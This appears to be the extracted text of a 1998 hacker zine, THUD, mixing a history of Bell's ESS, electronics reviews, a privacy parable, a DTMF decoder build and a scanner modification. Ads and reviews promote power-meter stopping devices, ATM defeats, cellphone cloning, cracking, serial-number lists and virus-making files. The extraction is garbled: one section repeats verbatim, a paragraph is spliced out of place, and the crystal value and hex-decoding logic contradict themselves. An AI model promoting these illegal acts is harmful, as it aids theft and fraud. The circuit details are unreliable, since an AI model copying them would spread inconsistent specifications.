<td>North Dakota</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Ohio</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Oklahoma</td>
<td>OK</td>
<td>ILLEGAL</td>
</tr>
<tr>
<td>Oregon</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Pennsylvania</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Rhode Island</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>South Carolina</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>South Dakota</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Tennessee</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Texas</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Utah</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Vermont</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Virginia</td>
<td>ILLEGAL</td>
<td>ILLEGAL</td>
</tr>
<tr>
<td>Washington</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>West Virginia</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Wisconsin</td>
<td>OK</td>
<td>OK</td>
</tr>
<tr>
<td>Wyoming</td>
<td>OK</td>
<td>OK</td>
</tr>
</tbody>
</table>

WE WANT YOUR STUPH

As you may or may not have noticed, our cover logo changed with this issue. One of the readers decided he could do a better job than us so he created his own version of the THUD logo and sent it to us. We liked it so much, we decided to go ahead and use it starting with this issue.

Thank You McPunk

Now, since we figured out that our biggest resource is our very own readers, we decided to ask everyone to go ahead and send in their own artwork if they’d like to help us out.

Along with unique artwork, we’re also on the lookout for photographs, projects, schematics, diagrams, articles and other such useful material for print in our magazine.

So far, the interest in THUD has increased exponentially since it’s release. We’re going to do our best to keep you guys happy, so send in any comments, arguments, complaints, print material, gadgets, etc.

We LOVE to hear from you guys.

P.S. We’d like to do an article titled, “THE EVIL HACKER” commenting and outlining how the mainstream media has taken the hacker name and turned it upside down, equating hacker with the likes of a common thief or a mugger. You get the idea. Anyhow, we’d like to ask for some help on this one. We’re taking complete and/or incomplete material on this subject.
The History of ESS

by: Lex Luthor

Of all the new 1960s wonders of telephone technology - satellites, ultra modern Traffic Service Positions (TSPS) for operators, the picturephone, and so on - the one that gave Bell Labs the most trouble, and unexpectedly became the greatest development effort in Bell System's history, was the perfection of an electronic switching system, or ESS.

It may be recalled that such a system was the specific end in view when the project that had culminated in the invention of the transistor had been launched back in the 1930s. After successful accomplishment of that planned miracle in 1947-48, further delays were brought about by financial stringency and the need for further development of the transistor itself. In the early 1950s, a Labs team began serious work on electronic switching. As early as 1955, Western Electric became involved when five engineers from the Hawthorne works were assigned to collaborate with the Labs on this project. The president of AT&T in 1956, wrote confidently, "At Bell Labs, development of the new electronic switching system is going at full speed ahead. We are sure this will lead to many improvements in service and also to greater efficiency. The first service trial will start in Morris, Ill., in 1959." Shortly thereafter, Kappel said that the cost of the whole project would probably be $45 million.

But it gradually became apparent that the development of a commercially usable electronic switching system - in effect, a computerized telephone exchange - presented vastly greater technical problems than had been anticipated, and that, accordingly, Bell Labs had vastly underestimated both the time when the investment needed to be made and the job. The year 1959 passed without the promised first trial at Morris, Illinois; it was finally made in November 1960, and quickly showed how much more work remained to be done. As time dragged on and costs mounted, there was a concern at AT&T and something approaching panic at Bell Labs. But the project had to go forward; by this time the investment was too great to be sacrificed, and in any case, forward projections of increased demand for telephone service indicated that within a few years a time would come when, without the quantum leap in speed and flexibility that electronic switching would provide, the national network would be unable to meet the demand. In November 1963, an all-electronic switching system went into use at the Brown Engineering Company at Cocoa Beach, Florida. But this was a small installation, essentially another test installation, serving only a single company. Kappel's tone on the subject in the 1964 annual report was, for him, an almost apologetic: "Electronic switching equipment must be manufactured in volume to unprecedented standards of reliability... To turn out the equipment economically and with good speed, mass production methods must be developed; but, at the same time, there can be no loss of precision..."

Another year and millions of dollars later, on May 30, 1965, the first commercial electric central office was put into service at Succasunna, New Jersey.

Even at Succasunna, only 200 of the town's 4,300 subscribers initially had the benefit of electronic switching's added speed and additional services, such as provision for three party conversations and automatic transfer of incoming calls. But after that, ESS was on its way. In January 1966, the second commercial installation, this one serving 2,900 telephones, went into service in Chase, Maryland. By the end of 1967 there were additional ESS offices in California, Connecticut, Minnesota, Georgia, New York, Florida, and Pennsylvania; by the end of 1970 there were 120 offices serving 1.8 million customers; and by 1974 there were 475 offices serving 5.6 million customers.

The difference between conventional switching and electronic switching is the difference between "hardware" and "software"; in the former case, maintenance is done on the spot, with screwdriver and pliers, while in the case of electronic switching, it can be done remotely, by computer, from a central point, making it possible to have only one or two technicians on duty at a time at each switching center.

The development program, when the final figures were added up, was found to have required a staggering four thousand man-years of work at Bell Labs and to have cost not $45 million but $500 million!

This article was reprinted from the Group 42 Sells Out CDROM with permission. You NEED to take a look at this CDROM! It's FULL of great info. Check out the review in this issue (on page 26)

"Group 42 Sells Out! The Information Archive"
Price $49.00 US, $69.00 CAN
1390 N. McDowell Blvd #6142, Petaluma, CA 94954
Email: group42@sonic.net
URL: http://www.sonic.net/group42

THUD WANTS YOU!

No, not like that!

IF YOU'VE GOT PICTURES, ARTICLES, LETTERS, ARTWORK
(GRAPHIC OR LINE ART), IDEAS OR COMMENTS....

CONTACT US RIGHT NOW, DAMNIT!
TOP SECRET

CONSUMERTRONICS
2430 JUAN TABO, NE #259, ABQ, NM 87112
P.O. Box 23097, ABQ, NM 87192
Voice: 505-237-2073 (9-6, M-F)
Fax: 505-292-4078 (all hours, orders only)

www.tsc-global.com

Add $5 total S/H (US, Canada)
10% Off orders $100+ CATALOG is $3 w/order, $1 w/o
Postal MO is fastest VISA, MC OK COD, add $7
Sold for educational purposes only
See CATALOG for all Policies

2430 JUAN TABO, NE #259, ABQ, NM 87112
P.O. Box 23097, ABQ, NM 87192
Voice: 505-237-2073 (9-6, M-F)
Fax: 505-292-4078 (all hours, orders only)

www.tsc-global.com

Add $5 total S/H (US, Canada)
10% Off orders $100+ CATALOG is $3 w/order, $1 w/o
Postal MO is fastest VISA, MC OK COD, add $7
Sold for educational purposes only
See CATALOG for all Policies

SPECIAL PROJECTS
We design/build/modify/consult on almost any circuit/device/system - electronic/computer/mechanical/optical.100% Confidential!
We have much expanded our SPECIAL PROJECTS program. Hardware must now be ordered as a SP. Ask for our SP Application Form with your order.

THE DIRTY 2-DOZEN
24+ Eye-Popping Disks on Hacking and many other current topics. See CATALOG!

CELLULAR/CORDLESS PHREAKING
How cellphones operate and are modified. Vulnerabilities to hack attack and countermeasures. Comprehensive info on reprogramming NAMs, ESNs, etc. (cloning), control data formats, computing encoded MINs, ESNs, SIDHs, operating systems, PROMs and their programming, forcing ACK, test mode and resets, scanning, tracking, scanner restorations, freq and channel allocations, roaming, parts, equipment sources. Much more! $49.

HACKING THE INTERNET

STOPPING POWER METERS
As reported on CBS "60 Minutes"!
How certain devices can slow down - even stop - watthour meters - while loads draw full power! Device simply plugs into one outlet and normal loads into other outlets. Plans Only! $29. 5PM - The Video, $29. Both $49.

AUTOMATIC TELLER MACHINES
ATM crimes, abuses, vulnerabilities and defeats exposed! 100+ methods detailed and countermeasures. Comprehensive! $39.

BEYOND VAN ECK PHREAKING
Eavesdropping on TV and computer video signals using an ordinary TV described in detail. Includes security industry reports. Range up to 1 KM. Plans include our original Top Secret Van Eck designs! $29.

PHREAKING CALLER ID & ANI
Details on how they work and dozens of ways of defeating Caller ID, ANI *69, *57, and Call Blocking *67. Describes Orange, Beige, Cheese and CF Boxes, ESS, SS7, E-911, various CLASS services, CN/A, Diverters, - more! $19.

BEYOND PHONE COLOR BOXES

OTHER EXCITING TITLES!

SHOCKING!
All-New Catalog Features 200+ Hi-Tech Products! Will Rock Your World! $1 w/ Order, $3 w/o

THUD Volume 1 Issue 2 - Fall 1998 23
The simulation engine is an interactive 32-bit SPICE 3F5 program. There are no preset limits on circuit size and complexity. You will only be limited by your computer processing power. The user interface is the click-and-drag type with automatic wire routing yet allows the user to manually adjust routing to their liking. There is no limit to schematic size.

System Requirements:
EWB will run on Windows '95, NT. It will also run under Windows 3.1x with Win32s v1.30 or later installed. It will install on any of these operating systems as long as the computer meets the minimum requirements to run those operating systems. It will take up about 20 megs of hard drive space. A single user license will run about $300 dollars. This may seem like a lot of money to spend on a piece of software but I have found it to be an invaluable tool to quickly try out ideas without having to actually build it. It can also save money as you can test a design that you don't even have the parts for yet!!! For more information on multiple user licenses or for the other versions of Electronics Workbench, visit Interactive's web site at http://www.interactiv.com/.

Overview:
Electronics Workbench 5.0 is one heck of an awesome piece of software. It is a mixed signal SPICE simulator that has a 100% graphical user interface. No need to learn SPICE command line syntax. There are several versions available, Professional, Personal, and Educational versions. We will be discussing the Educational version. This software will allow you to design, test, and analyse analog, digital, or mixed circuits. The component libraries are larger than most electronics stores inventories and the analysis equipment available to the user would cost a small fortune if you were to buy them for your bench.
In the mixed analog/digital component bag there's A/D and D/A converters, and the 555 timer chip.

Individual logic gates are available as well with AND, NAND, OR, NOR, XOR, XNOR, buffers, and schmidt triggers.

Indicators such as LED's (red, green and blue), light bulbs, probes, 7-segment displays (both decoded and un-decoded), buzzers and bar graphs.

There's some control devices available as well like differentiators, integrators, and gain blocks plus much more!!

In the miscellaneous bag there's fuses, transmission lines (lossy and lossless), crystals, DC motors and even a few types of vacuum tubes!!

The individual ICs supported are too numerous to list. It should suffice to say that there's well over 100 74xxx series chips and nearly 50 4xxx series CMOS. There's so many components available that I had occasion to design a circuit only to find out that one of the parts I used was considered 'obsolete' and not carried by my local electronics shops. I finally found the part via mail order and the circuit I eventually built worked as designed in EWB.

Using The Program:

Using the software is easy, especially for those comfortable with graphical user interfaces. I found the program to be very intuitive and when I needed help, the built in help menu guided me along just fine. In fact, if you highlight a component you can get help for that component, including truth tables.

To build a circuit all one has to do is locate the desired part in the appropriate pull down menu, click on it and drag it to the desired location on the screen. Connecting parts is easy. All one has to do is point to the end of the pin on a component and click and drag the connection to the second component. It's also possible to simply drag a connection to the middle of an existing wire and have it tie into that line automatically.

Once you have your circuit designed a simple mouse click on the power switch in the upper right corner turns on your circuit. If you have an oscilloscope or other display device you'll immediately see your circuit in action. LED's light up, 7 segment displays work, and any virtual test equipment gives accurate indications of the conditions in your circuit.

You are also able to customize your parts. Not only can you do the normal things like specifying the value of say, a resistor, you can even model a faulty component. You can make a pin short or open, or even cause a component to have a high leakage value. This is a great engineering tool so that a design can be modified to handle a damaged component without destroying expensive parts. It can also aid in the trouble-shooting of a real circuit. Another application would be to build a trouble-shooting manual for the device in question. I remember a time back when you bought something, the manual that came with it had schematics, parts lists, oscilloscope displays, and trouble shooting flow charts.

Here's a quick little circuit that we made ourselves. It's just a simple 555 timer IC generating a clock signal to drive a 74192 decade counter and display. This is an example of EWB's ability to simulate circuits with both analog and digital components. It also shows a decoded 7 segment display in action.
I must say I found IFJ's double CD set very refreshing. Although it does not contain as much raw data as on other warez-related CD's I've seen this one makes up for it by introducing me to some unusual musical talents.

There are two CD's in this set. The first is all music, the second is a mixed media ROM and audio. All together there are 36 audio tracks. Many of them are just little 10-15 second shorts. There are, however, some very professional and very well composed tracks that I thought were very good. Among my personal favorites were "Hall of the Inverted Mushroom" by Multicast, "The Birth" by Feral, and a really cool remix of the AC/DC song "Dirty Deeds Done Dirt Cheap" called "Deadly Deeds" done by Deadly Buda. All in all you should force yourself to take the time to listen to these examples of audio artistry. You may be surprised at you may find you like! Oh, and you'll find a track of Red Boxz quarter tones, too!! :)

Anyway, on to the Warez!!! The ROM portion is all set up in HTML code so all you have to do is load up your favorite web browser and load up the index.html file. From there you can navigate your way around the CD and find all sorts of useful info. There is such a large array of different items that I'm sure there's gonna be something useful to be found for everyone.

In one section you'll find tons of images. There's various logos and pics of people, posters, places, and things that probably were influenced by vast amounts of illegal substances from the sixties!! Also, you'll find animated GIFs as well in addition to some tileable cells which are excellent for backgrounds on webpages. All these images are presented for your use. It's a great little source of material for spicing up your webpage or personal publications.

Next, your gonna find one hell of a huge section on audio files. We're not talking your simple pile of strange and bizarre sound .WAV files, although there is quite a collection of those. There's a large collection of MIDI files as well. There's even a few Real Audio files for your listening pleasure. And for all you home audio studio technophile types you're gonna find some drum loops and groove samples for your favorite drum machines. Heck, there's even some files on how to hack your favorite drum machine. Oh, you'll also find a couple of MOD files too, although I would have liked to have seen more. I personally know there's some really awesome stuff that was done on those Amiga's out there and would really like to see more of it brought out for the IBM users of today.

Now for the goodz. Just take a look through the resources section and you're gonna find all sorts of philes on hacking, cracking, phreaking, survival, information warfare, even drugs (although I personally think that could have been left out). There's even a whole section on MIDI hacks. This CD really is musically oriented and influenced. There's also a section which is taken from the Group 42 Sells Out CD-ROM. There's also some religious works for all you philosophical types. Oh, and lest I forget, there's also a nice big list of serial numberz...no warez archive can be without your serial numberz...they make the world go round!!!

I thoroughly enjoyed the 2 CD set. The music was great and the information useful. This is definately an all around try to please everybody piece of work that I think definately succeeds in doing so.

Group 42
Single CD
"Group 42 Sells Out!"

AFTER 12 YEARS AS THE MOST ELUSIVE UNDERGROUND INFORMATION COURIERS, THIS ORGANIZATION SURFACES AND RELEASES ITS KNOWLEDGE TO THE PUBLIC....

The Information Archive

This CD-ROM contains 100's of megs of information and the software necessary to use it. Much of this knowledge has never before been available to the public. This information is presented in a clear and organized manner, fully documented and viewable on any make of computer with any WWW BROWSER.

This Is Not Shovelware! For Educational Purposes Only.

NO SALES TO MINORS! YOU MUST BE 18 TO PURCHASE THIS CD-ROM

The authors of this CD-ROM disc and their agents do not, in any way, advocate the implementation of all of the information contained herein and assume NO liability for any damages or injury which may result from the use or misuse thereof!

NOT FOR EXPORT OUTSIDE THE U.S. OR CANADA

$49.00 US ($69.00 CAN)

Group 42 has finally put out a CD-ROM and is it ever a winner. This single CD is so full of information it's gonna take a while to look through it all. But believe me you are bound to find something of interest, even if you're not a hacker. The CD is in HTML format so it's extremely easy to view and navigate through the disc and find exactly what you want in only a few minutes. Just open up your favorite browser and open a new file, selecting INDEX-HTM from the main directory of the Group 42 disc.

I'm sure some of you who are familiar with Group 42 are wondering why they would make a CD. Well, let me just quote a paragraph from a section of the CD that describes what Group 42 is all about: "The members of Group 42 are getting older with ages spanning from 26 to 31. Most of us have careers and new families to deal with now and can't afford to explore the system at the levels we once did. Especially in the light of new laws that tend to make everything illegal, and law enforcement that seems to only enforce laws when it deems it necessary. So it was decided that we would package some of our information and warez, combined it with some other critical warez and infos that are available, and offer it to anyone who wanted it in an easy to read and accessible format." Enough said on that.

To start with there's a section on Anarchy. In this area you're gonna find all sorts of info about chemicals, how to make...
The FAQ's section is pretty self explanatory. In here you'll find all sorts of hacker and phreaker related FAQ's. There's so many FAQ's out there on the net covering just about every subject you can think of, but only a few dozen are presented on this disc. Rest assured, if you want to know about something computer, telephone, or software related, you'll find it here. There's even a copy of the popular 2600 FAQ.

Hacking is quite a big area. This area also has a lot of FAQ's listed. The number of computer and operating systems listed in this area is really astounding. There's even info on how to hack into those old CORVUS systems for the early Apple computer days. You remember those, don't you? There's also many files on how to break into various BBS software packages. These files were useful to both the hackers and the sysops alike.

The Internet section is a gold mine of information on how the internet works an how to sneak your way around it. There's info on both the public and military parts of the net. It's also a good history lesson of how the net got started in the first place.

The Lockpicking section is kinda small but there's really not much to picking a lock. It's just that there's so many different kinds. They all work on a few basic principles and you'll find that info here. Many types of mechanical and even electronic locks are discussed.

The Miscellaneous section is just that, but there's three main subsections. One is political works. You'll find all sorts of files on various politically related subjects and you'll find many famous papers written here in their entirety, covering things as wide ranged as the Constitution of the United States and the Communist Manifesto. The next section covers religious works. Here you'll find the major written works from many major religions including Christianity, Buddhism, Muslim, Hindu, and others. The last are is the Miscellaneous section. It's pretty much self explanatory...there's some pretty interesting stuff here.

The Virus section is a must read for all those who swap files on the internet. If you know about how to crack a program so you can protect yourself. There's also information on where to find warez on the internet. If you have a program that simply needs a registration code or serial number you'll find lists of working ones. You're gonna find information on every colored box you've ever heard of and quite a few you haven't. There's info on phone tapping and detecting taps, files on how to make and detect DTMF tones. If you're interested in getting into PDX's, voice mail, or the ESS system, it's here.

The Survival section is not necessarily about surviving a nuclear war, it's more about tsurviving hte information age. Information is the new money of the coming millennium and information is what will save us or condemn us. Learn how to survive by reading up in this area.

The Utilities section is a bit small and pretty much only deals with compression programs such as PKZip. It's also pretty much strictly PC oriented as well.

The Virus section is a must read for all those who swap files as more as they swap spit. What you'll find in here are many FAa's and programs on how to make your very own viruses. Be careful not to crash your own system, or any one else's. It's a good learning experience to find out how to protect yourself from others.

Warez is a nice section. It covers everything you wanted to know about how to crack a program so you can use it yourself. There's also information on where to find warez on the internet. If you have a program that simply needs a registration code or serial number you'll find lists of working codes.

Weapons is a varied subject and in here you'll find info on everything from tiny .22's to full sized nukes. There's files on tear gas, chemical weapons, pyrotechnics, and stunguns. There's also some files regarding the legal issues of various weapons.

The World section appears small but it has various years of...
There was once a far away land called Ruritania, and in Ruritania there was a strange phenomenon -- all the trees that grew in Ruritania were transparent. Now, in the days when people had lived in mud huts, this had not been a problem, but now high-tech wood technology had been developed, and in the new age of wood, everyone in Ruritania found that their homes were all 100% see through. Now, until this point, no one ever thought of allowing the police to spy on someone's home, but the new technology made this tempting. This being a civilized country, however, warrants were required to use binoculars and watch someone in their home. The police, taking advantage of this, would get warrants to use binoculars and peer in to see what was going on. Occasionally, they would use binoculars without a warrant, but everyone pretended that this didn't happen.

One day, a smart man invented paint -- and if you painted your house, suddenly the police couldn't watch all your actions at will. Things would go back to the way they were in the old age -- completely private.

Indignant, the state decided to try to require that all homes have video cameras installed in every nook and cranny. "After all", they said, "with this new development crime could run rampant. Installing video cameras doesn't mean that the police get any new capability -- they are just keeping the old one."

A wise man pointed out that citizens were not obligated to make the lives of the police easy, that the police had survived all through the mud hut age without being able to watch the citizens at will, and that Ruritania was a civilized country where not everything that was expedient was permitted. For instance, in a neighboring country, it had been discovered that torture was an extremely effective way to solve crimes. Ruritania had banned this practice in spite of its expedience. Indeed, "why have warrants at all", he asked, "if we are interested only in expedience?"

A famous paint technologist, Dorothy Quisling, intervened however. She noted that people might take photographs of children masturbating should the new paint technology be widely deployed without safeguards, and the law was passed.

Soon it was discovered that some citizens would cover their mouths while speaking to each other, thus preventing the police from reading their lips through the video cameras. This had to be prevented, the police said. After all, it was preventing them from conducting their lawful surveillance. The wise man pointed out that the police had never before been allowed to listen in on people's homes, but Dorothy Quisling pointed out that people might use this new invention of covering their mouths with veils to discuss the kidnapping and mutilation of children. No one in the legislature wanted to be accused of being in favor of mutilating children, but then again, no one wanted to interfere in people's rights to wear what they liked, so a compromise was reached whereby all homes were installed with microphones in each room to accompany the video cameras. The wise man lamented few if any child mutilations had ever been solved by the old lip reading technology, but it was too late -- the microphones were installed everywhere.

However, it was discovered that this was insufficient to prevent citizens from hiding information from the authorities, because some of them would cleverly speak in languages that the police could not understand. A new law was proposed to force all citizens to speak at all times only in Ruritanian, and, for good measure, to require that they speak clearly and distinctly near the microphones. "After all", Dorothy Quisling pointed out, "they might be using the opportunity to speak in private to mask terrorist activities!" Terrorism struck terror into everyone's hearts, and they rejoiced at the brilliance of this new law.

Meanwhile, the wise man talked one evening to his friends on how all of this was making a sham of the constitution of Ruritania, of which all Ruritanians were proud. "Why", he asked, "are we obligated to sacrifice all our freedom and privacy to make the lives of the police easier? There isn't any real evidence that this makes any big dent in crime anyway! All it does is make our privacy forfeit to the state!"

However, the wise man made the mistake of saying this, as the law required, in Ruritania, clearly and distinctly, and near a microphone. Soon, the newly formed Ruritanian Secret Police arrived and took him off, and got him to confess by torturing him. Torture was, after all, far more efficient than the old methods, and had been recently instituted to stop the recent wave of people thinking obscene thoughts about tomatoes, which Dorothy Quisling noted was one of the major problems of the new age of plenty and joy.
Detecting DTMF tones

The heart of the circuit is the Motorola MC145436 DTMF decoder chip. This 14 pin IC only requires a 3.797545MHz crystal and 1meg resistor for normal operation. It will decode all 16 standard DTMF combinations and output the value on a 4 bit binary bus. There is a data valid pin which is used to tell other circuits that it has decoded a valid DTMF tone. Also of use is a guard time select pin which basically controls how long the tones must be present before the 145436 will consider it a valid signal. With this enabled, the chip can be used in relatively noisy environments, however, if the tone sequence is too fast, the chip will not be able to detect them. I found the chip more than reliable enough to detect 40ms DTMF pulses separated by 40ms spaces. There are a couple of other pins ont he chip as well. One is for an alternate time base which is linked to the same pin on other 145436’s so that multiple chips can be used in the same circuit. It is very simple in it’s construction and expensive display circuitry to be able to display them. In theory, it is quite easy to decode these digits as well and the reader is highly encourage to attempt to make the necessary changes to do so.

Storing the numbers

Since we want to be able to display a sequence of digits for easier reading, we need some way of storing the decoded digits. We accomplish this by using the 74164 shift register. This chip is a serial in serial/parallel out type shift register. That is, a single bit of data can be stored and upon a clock signal, shifted to the next memory cell. This particular one has 8 registers, and an output on each register. When a clock signal is received, whatever data is on the serial input pin will be stored in memory location A. The contents of A is shifted to B; B to C; C to D, D to E, E to F, F to G, and G to H. Whatever contents were in cell H are lost, alhving been replaced by the contents of cell G before it.

![20010 2](image1)
![30011 3](image2)
![40100 4](image3)
![50101 5](image4)
![60110 6](image5)
![70111 7](image6)
![81000 8](image7)
![91001 9](image8)
![101010 10](image9)
![10111 11](image10)
![11000 12](image11)
![11011 13](image12)
![11110 14](image13)
![11111 15](image14)
![00000 0](image15)

Since the output from the DTMF decoder is 4-bit binary, we can use four 74164’s to store 8 digits worth of data. Each of the four binary outputs go to the input of one shift register. The DATA VALID output of the 145436 is connected to the clock inputs of all four registers. With this arrangement, we have four registers, each outputing the last eight bits of data for each of the weighted binary lines, all together outputing 8 sets of 4-bit binary numbers. Each shift register only handles the data on one line of the binary outputs from the decoder circuit.

Next in the circuit is a pair of logic gates; a 7400 NAND gate and a 7408 AND gate. Since the 145436 decodes the number '0' as hex code 'A', we need to convert this to a zero for display. This is an easy job to do especially since we don’t plan on decoding any codes higher than this. A single NAND gate from the 7400 is used to detect a high condition on weighted outputs '2' and '3', which correspond to hex code B. Normally, the output of the NAND gate is high, but when the '2' and '3' go high, the output will go low. The output of the 7400 goes to one input of each of four AND gates in the 7408. The other input of each gate is connected to the binary outputs from the DTMF chip. Since the output from the NAND gate is normally high, the outputs continue through the AND gates unchanged. But, when a hex 'A' output is detected by the NAND and it's output goes low, it basically cuts off the output of the AND gates, effectively converting a binary 'A' to a '0'. Now, when the DTMF decoder chip detects a '0', it outputs 'A' which gets detected and converted back to a '0'. Digits '1' through '9' are unchanged.

Legal notice: This is an original work of the author and is published for educational purposes. The author reserves all rights to the material. Reproduction or distribution in any form is strictly prohibited without written permission.
8 digit DTMF decoder display
8 digit DTMF decoder display
Hey Hey HEY!!! Here's our working prototype. Pretty slick, huh? The breadboard has the 145436 decoder, the logic gates for detecting the '0' and the shift registers. The sub-board at the top is a seven segment decoder display. The three wires sticking out to the left of it are the power and segment test connections. It's built as a semi-permanent circuit so it can be used on other projects. On the right edge of the breadboard you can see the huge can for the crystal.

When the project is powered up, I can clear the display to all zero's. Also on the bread board you can see a row of five LED's which I was using for diagnostics to see the output of the DTMF decoder chip directly before it went to the rest of the circuit.

Displaying the numbers

Now we have to display the contents of the shift registers. We do this through the use of the 7447 BCD to 7 segment display decoder/driver. This chip takes in binary BCD input and converts it into the correct pattern for display on a 7 segment LED display. BCD stands for Binary Coded Decimal. Basically it is nothing more than the first 10 binary digits (0000 through 1001) and anything higher is not decoded, at least not properly. It is possible to get chips or make circuits that will decode all 16 digits and display them as 0-9, A-F but we wanted to keep this project simple and inexpensive.

So then, to display the contents of the first digit in the shift registers, we take the A output from the first register as binary input '1', the A output from the second register as binary input '2', and so on to form inputs '4' and '8'. In this way we have one BCD 'word' for input to the 7447. The 7447 is then connected to a 7 segment LED display.

The 7447 is designed to drive common anode displays. This means that it grounds an output pin when the segment is lit, and leaves it open when it is to be off. You must use common anode 7 segment displays. You can use common cathode displays but you will need pull up resistors to make the display work correctly. Also, the 7447 cannot sink quite a bit of current. If you connect the outputs directly to the LED's chances are you'll drive them with too much current and blow them. The simple solution is place a 470 ohm current limiting resistor in series prevent the display from frying. Of course, it is possible to make a more complex display circuit that uses only one decoder and set of resistors to drive the eight displays, but we'll leave such modifications up to the user to try on their own.

Now, you are going to want to arrange the 7 segment displays so that the most recent digit decoded and entered into the shift register is on the right. This way, when a sequence of digits is decoded, it can be read left to right as is the normal way of reading numbers. This means that the rightmost digit is actually derived from the shift register outputs A, and the leftmost digit is from outputs H.

The completed circuit

With this simple design, an audio signal is input to the MC145436. When the chip detects a valid DTMF code, it outputs the number in binary format and also sets the data valid pin. The binary number is then sent through a small set of logic gates that will detect a '10' (which is what the DTMF decoder converts a '0' to) and converts it back to a '0'. The binary outputs from this, along with the data valid signal, go to the shift register inputs where it is stored. The shift registers store the last eight numbers decoded. The output of the registers are then sent to the eight BCD to 7 segment decoders and LED displays.

If the displays are arranged correctly, the first number decoded is displayed on the right. When the next number is decoded, the number in this first position is shifted to the left and the new number is placed on the right.

Parts list

(1) Motorola MC145436 DTMF decoder
(1) 7400 quad two input NAND gate
(1) 7408 quad two input AND gate
(4) 74164 8 bit serial in serial/parallel out shift register
(8) 7447 BCD to 7 segment decoder/driver
(8) common anode 7 segment LED display
(56) 470 ohm resistor
(4) 220 ohm resistor
(1) 1 megohm resistor
(1) 3.579545 MHz crystal "colorburst crystal"

Displaying the numbers

Now we have to display the contents of the shift registers. We do this through the use of the 7447 BCD to 7 segment display decoder/driver. This chip takes in binary BCD input and converts it into the correct pattern for display on a 7 segment LED display. BCD stands for Binary Coded Decimal. Basically it is nothing more than the first 10 binary digits (0000 through 1001) and anything higher is not decoded, at least not properly. It is possible to get chips or make circuits that will decode all 16 digits and display them as 0-9, A-F but we wanted to keep this project simple and inexpensive.

So then, to display the contents of the first digit in the shift registers, we take the A output from the first register as binary input '1', the A output from the second register as binary input '2', and so on to form inputs '4' and '8'. In this way we have one BCD 'word' for input to the 7447. The 7447 is then connected to a 7 segment LED display.

The 7447 is designed to drive common anode displays. This means that it grounds an output pin when the segment is lit, and leaves it open when it is to be off. You must use common anode 7 segment displays. You can use common cathode displays but you will need pull up resistors to make the display work correctly. Also, the 7447 cannot sink quite a bit of current. If you connect the outputs directly to the LED's chances are you'll drive them with too much current and blow them. The simple solution is place a 470 ohm current limiting resistor in series prevent the display from frying. Of course, it is possible to make a more complex display circuit that uses only one decoder and set of resistors to drive the eight displays, but we'll leave such modifications up to the user to try on their own.

Now, you are going to want to arrange the 7 segment displays so that the most recent digit decoded and entered into the shift register is on the right. This way, when a sequence of digits is decoded, it can be read left to right as is the normal way of reading numbers. This means that the rightmost digit is actually derived from the shift register outputs A, and the leftmost digit is from outputs H.

The completed circuit

With this simple design, an audio signal is input to the MC145436. When the chip detects a valid DTMF code, it outputs the number in binary format and also sets the data valid pin. The binary number is then sent through a small set of logic gates that will detect a '10' (which is what the DTMF decoder converts a '0' to) and converts it back to a '0'. The binary outputs from this, along with the data valid signal, go to the shift register inputs where it is stored. The shift registers store the last eight numbers decoded. The output of the registers are then sent to the eight BCD to 7 segment decoders and LED displays.

If the displays are arranged correctly, the first number decoded is displayed on the right. When the next number is decoded, the number in this first position is shifted to the left and the new number is placed on the right.

Parts list

(1) Motorola MC145436 DTMF decoder
(1) 7400 quad two input NAND gate
(1) 7408 quad two input AND gate
(4) 74164 8 bit serial in serial/parallel out shift register
(8) 7447 BCD to 7 segment decoder/driver
(8) common anode 7 segment LED display
(56) 470 ohm resistor
(4) 220 ohm resistor
(1) 1 megohm resistor
(1) 3.579545 MHz crystal "colorburst crystal"
A carrier operated light

With a room full of functioning scanners, it's difficult to determine quickly which radio is "talking." I use separate external speakers on each radio, and the spatial separation helps.

In addition to "hearing" which radio is active, I like to "see" which radio is active, and carrier operated lights are effective at providing such visual cues. The idea is to illuminate a lamp when a signal opens the squelch. A small yellow light emitting diode (LED, another Bell Labs invention) is well suited to this purpose. The following modification works well on all PRO-2004 modes.

To add a COR light to the PRO-2004, make use of the "scan control" pin (pin 13) on IC2, the TK10420 IC. Pin 13 has voltage present only when a signal is detected. This chip contains the IF, detector, limiter, and squelch circuits for NBFM.

If you tremble with an electric drill in your hands, read no further. The LED can be mounted in a small hole drilled through the plastic front panel, just to the right of the headphone jack.

Electronically, the circuit is simple. The voltage at pin 13 is not enough to drive the LED directly, so a general purpose NPN transistor (e.g., a 2N2222) can be used as a solid state switch.

> Pin 13 of IC2 is connected to the transistor base through a 10,000 ohm resistor.

> The emitter is grounded.

> The collector is connected through a 1000 ohm resistor to one end of an LED. This resistor limits the LED current to about 13 milliamps.

> The other end of the LED is connected to one contact on the rear of the PRO-2004's on/off, volume control. This furnishes about 14 VDC unregulated to the circuit. The back of the on/off switch has two contacts. Use the one with the brown wire connected to it, as this contact is only "live" when the scanner is turned on.

I mounted the 2 resistors and transistor on a small PC board, which I fastened to the PRO-2004 chassis using a metal standoff.

A Tape Relay

This mod works on the same principle: you use the same pin (13?) on the IC that you normally use for the carrier detect light, but instead of a light being used, I used a small low current relay. Connect the primaries of the relay in place of the light. You will have to determine the proper resistance to wire in series, if necessary. Then connect the secondaries to the tape recorder's "remote" jack. Depending on your tape recorder, you may need a normally open relay or a normally closed. For mine, I used a very small normally open relay that draws about 50 ma at 12VDC that I got from one of the mail order houses (Jameco, I think).

By the way, I have both the relay and the LED hooked up. I use the 2N2222 as the solid-state switch for the circuit. I also put diodes in line coming from the IC to the base of the transistor as well as one coming into the collector of the transistor just for safety sake.

Finally . . .

Make sure you re-install the metal cover and re-install the radio in the case!!!!!!!!!!!!!
